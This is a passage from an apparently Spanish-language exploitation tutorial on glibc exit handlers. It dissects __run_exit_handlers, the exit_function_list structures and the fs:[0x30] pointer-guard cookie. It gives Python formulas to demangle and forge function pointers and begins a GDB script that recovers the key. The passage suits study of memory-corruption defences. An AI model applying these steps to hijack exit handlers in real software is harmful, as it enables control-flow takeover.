  <span class="cm">/* First, call the TLS destructors.  */</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">run_dtors</span><span class="p">)</span>
    <span class="n">call_function_static_weak</span> <span class="p">(</span><span class="n">__call_tls_dtors</span><span class="p">);</span>

  <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>

  <span class="cm">/* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */</span>
  <span class="k">while</span> <span class="p">(</span><span class="nb">true</span><span class="p">)</span>
    <span class="p">{</span>
      <span class="k">struct</span> <span class="n">exit_function_list</span> <span class="o">*</span><span class="n">cur</span><span class="p">;</span>

    <span class="nl">restart:</span>
      <span class="n">cur</span> <span class="o">=</span> <span class="o">*</span><span class="n">listp</span><span class="p">;</span>

      <span class="k">if</span> <span class="p">(</span><span class="n">cur</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="cm">/* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */</span>
	  <span class="n">__exit_funcs_done</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span>
	  <span class="k">break</span><span class="p">;</span>
	<span class="p">}</span>

      <span class="k">while</span> <span class="p">(</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">idx</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span>
	<span class="p">{</span>
	  <span class="k">struct</span> <span class="n">exit_function</span> <span class="o">*</span><span class="k">const</span> <span class="n">f</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">fns</span><span class="p">[</span><span class="o">--</span><span class="n">cur</span><span class="o">-&gt;</span><span class="n">idx</span><span class="p">];</span>
	  <span class="k">const</span> <span class="kt">uint64_t</span> <span class="n">new_exitfn_called</span> <span class="o">=</span> <span class="n">__new_exitfn_called</span><span class="p">;</span>

	  <span class="k">switch</span> <span class="p">(</span><span class="n">f</span><span class="o">-&gt;</span><span class="n">flavor</span><span class="p">)</span>
	    <span class="p">{</span>
	      <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">atfct</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">);</span>
	      <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">onfct</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span> <span class="n">status</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">);</span>
	      <span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">cxafct</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">,</span> <span class="kt">int</span> <span class="n">status</span><span class="p">);</span>
	      <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">;</span>

	    <span class="k">case</span> <span class="n">ef_free</span><span class="p">:</span>
	    <span class="k">case</span> <span class="n">ef_us</span><span class="p">:</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="k">case</span> <span class="n">ef_on</span><span class="p">:</span>
	      <span class="n">onfct</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">on</span><span class="p">.</span><span class="n">fn</span><span class="p">;</span>
	      <span class="n">arg</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">on</span><span class="p">.</span><span class="n">arg</span><span class="p">;</span>
	      <span class="n">PTR_DEMANGLE</span> <span class="p">(</span><span class="n">onfct</span><span class="p">);</span>

	      <span class="cm">/* Unlock the list while we call a foreign function.  */</span>
	      <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="n">onfct</span> <span class="p">(</span><span class="n">status</span><span class="p">,</span> <span class="n">arg</span><span class="p">);</span>
	      <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="k">case</span> <span class="n">ef_at</span><span class="p">:</span>
	      <span class="n">atfct</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">at</span><span class="p">;</span>
	      <span class="n">PTR_DEMANGLE</span> <span class="p">(</span><span class="n">atfct</span><span class="p">);</span>

	      <span class="cm">/* Unlock the list while we call a foreign function.  */</span>
	      <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="n">atfct</span> <span class="p">();</span>
	      <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="k">case</span> <span class="n">ef_cxa</span><span class="p">:</span>
	      <span class="cm">/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */</span>
	      <span class="n">f</span><span class="o">-&gt;</span><span class="n">flavor</span> <span class="o">=</span> <span class="n">ef_free</span><span class="p">;</span>
	      <span class="n">cxafct</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span><span class="p">;</span>
	      <span class="n">arg</span> <span class="o">=</span> <span class="n">f</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">arg</span><span class="p">;</span>
	      <span class="n">PTR_DEMANGLE</span> <span class="p">(</span><span class="n">cxafct</span><span class="p">);</span>

	      <span class="cm">/* Unlock the list while we call a foreign function.  */</span>
	      <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="n">cxafct</span> <span class="p">(</span><span class="n">arg</span><span class="p">,</span> <span class="n">status</span><span class="p">);</span>
	      <span class="n">__libc_lock_lock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>
	      <span class="k">break</span><span class="p">;</span>
	    <span class="p">}</span>

	  <span class="k">if</span> <span class="p">(</span><span class="n">__glibc_unlikely</span> <span class="p">(</span><span class="n">new_exitfn_called</span> <span class="o">!=</span> <span class="n">__new_exitfn_called</span><span class="p">))</span>
	    <span class="cm">/* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */</span>
	    <span class="k">goto</span> <span class="n">restart</span><span class="p">;</span>
	<span class="p">}</span>

      <span class="o">*</span><span class="n">listp</span> <span class="o">=</span> <span class="n">cur</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
      <span class="k">if</span> <span class="p">(</span><span class="o">*</span><span class="n">listp</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="cm">/* Don't free the last element in the chain, this is the statically
	   allocate element.  */</span>
	<span class="n">free</span> <span class="p">(</span><span class="n">cur</span><span class="p">);</span>
    <span class="p">}</span>

  <span class="n">__libc_lock_unlock</span> <span class="p">(</span><span class="n">__exit_funcs_lock</span><span class="p">);</span>

  <span class="k">if</span> <span class="p">(</span><span class="n">run_list_atexit</span><span class="p">)</span>
    <span class="n">call_function_static_weak</span> <span class="p">(</span><span class="n">_IO_cleanup</span><span class="p">);</span>

  <span class="n">_exit</span> <span class="p">(</span><span class="n">status</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Al principio de la función en la línea <strong>11</strong> se llama a la función <code class="language-plaintext highlighter-rouge">__call_tls_dtors</code> en el caso de que haya destructores registrados - más adelante hablaremos de ello -, después encontramos un switch y nos fijaremos el <code class="language-plaintext highlighter-rouge">case ef_cxa:</code> en la línea <strong>68</strong>, ¿por qué?, de eso hablaremos a continuación.</p>

<h4 id="abusando-de-exit_function_list">Abusando de <code class="language-plaintext highlighter-rouge">exit_function_list</code></h4>
<p>Al entrar a la función <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code>, uno de sus parámetros es un puntero de puntero de la estructura <code class="language-plaintext highlighter-rouge">exit_function_list</code>, que después de recorrerla se obtiene un puntero a una función y un argumento de la estructura <code class="language-plaintext highlighter-rouge">exit_function</code> dependiendo del <code class="language-plaintext highlighter-rouge">case</code> ya que la estructura contiene <code class="language-plaintext highlighter-rouge">unions</code>.</p>

<p>Véamos un poco la cabecera <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/exit.h"><code class="language-plaintext highlighter-rouge">exit.h</code></a></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
	void (*at) (void);
	struct
	  {
	    void (*fn) (int status, void *arg);
	    void *arg;
	  } on;
	struct
	  {
	    void (*fn) (void *arg, int status);
	    void *arg;
	    void *dso_handle;
	  } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };
</code></pre></div></div>

<p>Si creamos un simple programa que solamente imprima un “Hola mundo!”, e inspeccionamos la memoria para ver el contenido <code class="language-plaintext highlighter-rouge">__exit_funcs</code>, que felizmente tenemos un símbolo para poder localizarlo, observamos lo siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/10xg __exit_funcs
0x7ffff7e1bf00 &lt;initial&gt;:	    0x0000000000000000	0x0000000000000001
0x7ffff7e1bf10 &lt;initial+16&gt;:	0x0000000000000004	0x5b75ba599d12cfac
0x7ffff7e1bf20 &lt;initial+32&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf30 &lt;initial+48&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf40 &lt;initial+64&gt;:	0x0000000000000000	0x0000000000000000
</code></pre></div></div>

<p>Recordemos que <code class="language-plaintext highlighter-rouge">initial</code> contiene la estructura <code class="language-plaintext highlighter-rouge">exit_function_list</code> y no está el símbolo de esta última - que es una estructura - por defecto en GDB, pero sí de la estructura <code class="language-plaintext highlighter-rouge">exit_function</code>, ¡y puede haber hasta 32 estructuras!, pero en este caso solo tenemos una. Así que hemos verificado que en un simple programa ya existe una entrada <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0]</code>. Recorrámosla un poco.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;func.cxa
$1 = {
  fn = 0x5b75ba599d12cfac,
  arg = 0x0,
  dso_handle = 0x0
}
gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;flavor 
$2 = 0x4
</code></pre></div></div>

<p>Hay que denotar en la línea <strong>7</strong> del <code class="language-plaintext highlighter-rouge">enum</code> de la cabecera en <code class="language-plaintext highlighter-rouge">exit.h</code> está el campo <code class="language-plaintext highlighter-rouge">ef_cxa</code> y su valor es 4 que es justo lo que tenemos en <code class="language-plaintext highlighter-rouge">flavor</code>, y en el puntero de la función <code class="language-plaintext highlighter-rouge">exit_function.func.cxa.fn</code> no hay una dirección virtual válida. Volvamos a ver el código que esto representa en la función <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code>.</p>

<pre>
<code class="hljs language-c" data-ln-start-from="67">
        case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f-&gt;flavor = ef_free;
	      cxafct = f-&gt;func.cxa.fn;
	      arg = f-&gt;func.cxa.arg;
	      PTR_DEMANGLE (cxafct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      cxafct (arg, status);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
</code>
</pre>

<p>Antes de que se llame a la función, en la línea <strong>74</strong> se utiliza una macro llamada <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code>, y solo después se llama a la función. Básicamente el par <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> y <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> cifran y decifran el puntero respectivamente. Podemos ver la macro o algo más sencillo, mirar el desensamblado donde es usado, y para ello podemos dar click en la macro <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> en el <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/unix/sysv/linux/x86_64/pointer_guard.h#L25">código</a>, así como <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code>, donde veremos en qué lugares están siendo usados.</p>

<p>Entre otras funciones, podemos ver la implementación del código de <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> en la función <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/stdlib/cxa_atexit.c#L52"><code class="language-plaintext highlighter-rouge">__cxa_atexit</code></a> y <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> en la función que hemos estado viendo, <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span>
<span class="nf">__cxa_atexit</span> <span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">func</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">),</span> <span class="kt">void</span> <span class="o">*</span><span class="n">arg</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">d</span><span class="p">)</span>
<span class="p">{</span>
  <span class="k">return</span> <span class="n">__internal_atexit</span> <span class="p">(</span><span class="n">func</span><span class="p">,</span> <span class="n">arg</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">__exit_funcs</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Y una parte de la función <code class="language-plaintext highlighter-rouge">__internal_atexit</code> es lo siguiente</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="n">PTR_MANGLE</span> <span class="p">(</span><span class="n">func</span><span class="p">);</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">,</span> <span class="kt">int</span><span class="p">))</span> <span class="n">func</span><span class="p">;</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">arg</span> <span class="o">=</span> <span class="n">arg</span><span class="p">;</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">func</span><span class="p">.</span><span class="n">cxa</span><span class="p">.</span><span class="n">dso_handle</span> <span class="o">=</span> <span class="n">d</span><span class="p">;</span>
  <span class="n">new</span><span class="o">-&gt;</span><span class="n">flavor</span> <span class="o">=</span> <span class="n">ef_cxa</span><span class="p">;</span>
</code></pre></div></div>

<p>Y su desensamblado</p>

<pre>
<code class="hljs language-x86asm" data-highlighted="yes">   0x00007ffff7c45915 &lt;+85&gt;:	mov    QWORD PTR [rax],0x4
   0x00007ffff7c4591c &lt;+92&gt;:	mov    rdi,rbx
   0x00007ffff7c4591f &lt;+95&gt;:	xor    rdi,QWORD PTR fs:0x30
   0x00007ffff7c45928 &lt;+104&gt;:	rol    rdi,0x11
   0x00007ffff7c4592c &lt;+108&gt;:	movups XMMWORD PTR [rax+0x10],xmm2
   0x00007ffff7c45930 &lt;+112&gt;:	mov    QWORD PTR [rax+0x8],rdi
</code>
</pre>

<p>Las líneas no corresponden exactamente, pero te diré cuáles sí. La línea 1 del desensamblado corresponde a la línea 5 del código en C, donde se establece el <code class="language-plaintext highlighter-rouge">flavor</code> del cuál hablamos antes; la línea 1 del código en C corresponde a a las líneas 2,3,4 y 6 del desensamblado, que es lo que nos interesa.</p>

<p>Para <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code> tenemos la función <code class="language-plaintext highlighter-rouge">__run_exit_handlers</code> que vimos antes.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   0x00007ffff7c454bf &lt;+303&gt;:	ror    rax,0x11
   0x00007ffff7c454c3 &lt;+307&gt;:	xor    rax,QWORD PTR fs:0x30
   0x00007ffff7c454cc &lt;+316&gt;:	xchg   DWORD PTR [r14],edx
   0x00007ffff7c454cf &lt;+319&gt;:	cmp    edx,0x1
   0x00007ffff7c454d2 &lt;+322&gt;:	jg     0x7ffff7c45580 &lt;__run_exit_handlers+496&gt;
   0x00007ffff7c454d8 &lt;+328&gt;:	call   rax
</code></pre></div></div>

<p>Entonces la diferencia entre el cifrado y el decifrado es el uso de <code class="language-plaintext highlighter-rouge">rol</code> y <code class="language-plaintext highlighter-rouge">ror</code> respectivamente. De todas maneras, hay algo interesante que ya habrán notado, y es el uso de <code class="language-plaintext highlighter-rouge">fs:[0x30]</code> en las dos operaciones, ¿qué es?, en Linux el segmento <code class="language-plaintext highlighter-rouge">fs</code> es usado como Thread Local Storage (TLS) y contiene información en tiempo de ejecución del <em>thread</em> actual. La versión <a href="https://elixir.bootlin.com/glibc/glibc-2.39/source/sysdeps/unix/sysv/linux/x86_64/pointer_guard.h#L29">glibc 2.39</a> hace refencia a  <code class="language-plaintext highlighter-rouge">__pointer_chk_guard_local</code>, pero en la versión <a href="https://elixir.bootlin.com/glibc/glibc-2.26/source/sysdeps/x86_64/nptl/tls.h#L70">2.26</a> también se especifica a <code class="language-plaintext highlighter-rouge">tbchead_t.ptr_guard</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span>
<span class="p">{</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">tcb</span><span class="p">;</span>		<span class="cm">/* Pointer to the TCB.  Not necessarily the
			   thread descriptor used by libpthread.  */</span>
  <span class="n">dtv_t</span> <span class="o">*</span><span class="n">dtv</span><span class="p">;</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">self</span><span class="p">;</span>		<span class="cm">/* Pointer to the thread descriptor.  */</span>
  <span class="kt">int</span> <span class="n">multiple_threads</span><span class="p">;</span>
  <span class="kt">int</span> <span class="n">gscope_flag</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">sysinfo</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">stack_guard</span><span class="p">;</span>
  <span class="kt">uintptr_t</span> <span class="n">pointer_guard</span><span class="p">;</span>
  <span class="kt">unsigned</span> <span class="kt">long</span> <span class="kt">int</span> <span class="n">vgetcpu_cache</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="cp"># ifndef __ASSUME_PRIVATE_FUTEX
</span>  <span class="kt">int</span> <span class="n">private_futex</span><span class="p">;</span>
<span class="cp"># else
</span>  <span class="kt">int</span> <span class="n">__glibc_reserved1</span><span class="p">;</span>
<span class="cp"># endif
</span>  <span class="kt">int</span> <span class="n">__glibc_unused1</span><span class="p">;</span>
  <span class="cm">/* Reservation of some values for the TM ABI.  */</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">__private_tm</span><span class="p">[</span><span class="mi">4</span><span class="p">];</span>
  <span class="cm">/* GCC split stack support.  */</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">__private_ss</span><span class="p">;</span>
  <span class="kt">long</span> <span class="kt">int</span> <span class="n">__glibc_reserved2</span><span class="p">;</span>
  <span class="cm">/* Must be kept even if it is no longer used by glibc since programs,
     like AddressSanitizer, depend on the size of tcbhead_t.  */</span>
  <span class="n">__128bits</span> <span class="n">__glibc_unused2</span><span class="p">[</span><span class="mi">8</span><span class="p">][</span><span class="mi">4</span><span class="p">]</span> <span class="n">__attribute__</span> <span class="p">((</span><span class="n">aligned</span> <span class="p">(</span><span class="mi">32</span><span class="p">)));</span>

  <span class="kt">void</span> <span class="o">*</span><span class="n">__padding</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="p">}</span> <span class="n">tcbhead_t</span><span class="p">;</span>
</code></pre></div></div>

<p>Ahora veamos la memoria que apunta <code class="language-plaintext highlighter-rouge">fs</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      0x7ffff7fa4740|+0x0000|+000: 0x00007ffff7fa4740  -&gt;  [loop detected]
      0x7ffff7fa4748|+0x0008|+001: 0x00007ffff7fa5160  -&gt;  0x0000000000000001
      0x7ffff7fa4750|+0x0010|+002: 0x00007ffff7fa4740  -&gt;  [loop detected]
      0x7ffff7fa4758|+0x0018|+003: 0x0000000000000000
      0x7ffff7fa4760|+0x0020|+004: 0x0000000000000000
      0x7ffff7fa4768|+0x0028|+005: 0x38c19d513064ee00  &lt;-  canary
      0x7ffff7fa4770|+0x0030|+006: 0x67d652452ad05ec9  &lt;-  PTR_MANGLE cookie
</code></pre></div></div>

<p>Así que, la <em>key</em> para el cifrado y decifrado de los punteros es una <em>cookie</em>,llamado <code class="language-plaintext highlighter-rouge">__pointer_chk_guard_local</code> o <code class="language-plaintext highlighter-rouge">pointer_guard</code>, y se guarda en <code class="language-plaintext highlighter-rouge">fs:[0x30]</code>. Según lo que hemos visto, podemos concluir las siguientes fórmulas de <code class="language-plaintext highlighter-rouge">PTR_MANGLE</code> y <code class="language-plaintext highlighter-rouge">PTR_DEMANGLE</code>.
fu</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ptr_demangle</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">ptr_enc</span> <span class="p">:</span> <span class="n">ror</span><span class="p">(</span><span class="n">ptr_enc</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span> <span class="o">^</span> <span class="n">cookie</span> 
<span class="n">ptr_mangle</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">ptr</span><span class="p">:</span> <span class="n">rol</span><span class="p">(</span><span class="n">ptr</span> <span class="o">^</span> <span class="n">cookie</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span>
</code></pre></div></div>

<p>Afortunadamente tenemos una entrada en <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0]</code> al parecer, por defecto. Volvamos a verlo</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x/10xg __exit_funcs
0x7ffff7e1bf00 &lt;initial&gt;:	    0x0000000000000000	0x0000000000000001
0x7ffff7e1bf10 &lt;initial+16&gt;:	0x0000000000000004	0x5b75ba599d12cfac
0x7ffff7e1bf20 &lt;initial+32&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf30 &lt;initial+48&gt;:	0x0000000000000000	0x0000000000000000
0x7ffff7e1bf40 &lt;initial+64&gt;:	0x0000000000000000	0x0000000000000000
gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;func.cxa
$1 = {
  fn = 0x5b75ba599d12cfac,
  arg = 0x0,
  dso_handle = 0x0
}
gef&gt; p ((struct exit_function*)0x7ffff7e1bf10)-&gt;flavor 
$2 = 0x4
</code></pre></div></div>

<p>Entonces usemos la <em>cookie</em> y el valor de <code class="language-plaintext highlighter-rouge">exit_function_list.fns[0].func.cxa.fn</code> que es <code class="language-plaintext highlighter-rouge">0x5b75ba599d12cfac</code> para descifrar y obtener el puntero.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>In [4]: cookie = 0x67d652452ad05ec9
In [5]: hex(ptr_demangle(0x5b75ba599d12cfac))
Out[5]: '0x7ffff7fc9040'
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef&gt; x 0x7ffff7fc9040
0x7ffff7fc9040 &lt;_dl_fini&gt;:	0xe5894855fa1e0ff3
</code></pre></div></div>

<p>Para poder automatizar esta búsqueda, y confirmar que la función <code class="language-plaintext highlighter-rouge">_dl_fini</code> es la que se encuentra como primer item, se puede usar el siguiente código de python con GDB de la siguiente manera <code class="language-plaintext highlighter-rouge">gdb /bin/ls -batch -ex 'source gdb.py'</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">gdb</span>
<span class="kn">import</span> <span class="nn">sys</span>

<span class="n">is64</span> <span class="o">=</span> <span class="bp">True</span> <span class="k">if</span> <span class="n">gdb</span><span class="p">.</span><span class="n">lookup_type</span><span class="p">(</span><span class="s">'void'</span><span class="p">).</span><span class="n">pointer</span><span class="p">().</span><span class="n">sizeof</span> <span class="o">==</span><span class="mi">8</span> <span class="k">else</span> <span class="bp">False</span>
<span class="n">data_sz</span> <span class="o">=</span> <span class="mi">8</span> <span class="k">if</span> <span class="n">is64</span> <span class="k">else</span> <span class="mi">4</span>
<span class="n">bits_deep</span> <span class="o">=</span> <span class="mi">64</span> <span class="k">if</span> <span class="n">is64</span> <span class="k">else</span> <span class="mi">32</span>

<span class="k">def</span> <span class="nf">ror64</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
    <span class="k">return</span> <span class="p">((</span><span class="n">x</span> <span class="o">&gt;&gt;</span> <span class="n">n</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">x</span> <span class="o">&lt;&lt;</span> <span class="p">(</span><span class="mi">64</span> <span class="o">-</span> <span class="n">n</span><span class="p">)))</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="mi">64</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="n">key</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">ror64</span><span class="p">(</span><span class="n">ptr</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">)</span> <span class="o">^</span> <span class="n">key</span>

<span class="n">c</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'c'</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'r'</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="k">lambda</span> <span class="p">:</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="s">'q'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">get_eval</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">parse_and_eval</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">x</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"Error found: "</span><span class="p">,</span> <span class="n">e</span><span class="p">)</span>
        <span class="k">return</span> <span class="bp">None</span>

<span class="k">def</span> <span class="nf">set_bp</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">Breakpoint</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">addr</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">read_memory</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">selected_inferior</span><span class="p">().</span><span class="n">read_memory</span><span class="p">(</span><span class="n">addr</span><span class="p">,</span> <span class="n">size</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">execute</span><span class="p">(</span><span class="n">cmd</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">gdb</span><span class="p">.</span><span class="n">execute</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">cmd</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">bp</span> <span class="o">=</span> <span class="n">set_bp</span><span class="p">(</span><span class="s">'exit'</span><span class="p">)</span>
    <span class="n">r</span><span class="p">()</span>

    <span class="n">ptr_guard</span> <span class="o">=</span> <span class="n">get_eval</span><span class="p">(</span><span class="s">'*(void**)($fs_base+0x30)'</span><span class="p">)</span> <span class="c1"># key
</span>    <span class="k">if</span> <span class="n">ptr_guard</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">q</span><span class="p">()</span>
        <span class="k">print</span><span class="p">(</span><span class="s">'Was not possible to get ptr_guard'</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="n">ptr_guard</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">ptr_guard</span><span class="p">)</span>

    <span class="n">__exit_funcs_addr</span> <span class="o">=</span> <span class="n">get_eval</span><span class="p">(</span><span class="s">'__exit_funcs'</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">__exit_funcs_addr</span> <span class="ow">is</span> <span class="bp">None</span><span class="p">:</span>
        <span class="n">q</span><span class="p">()</span>
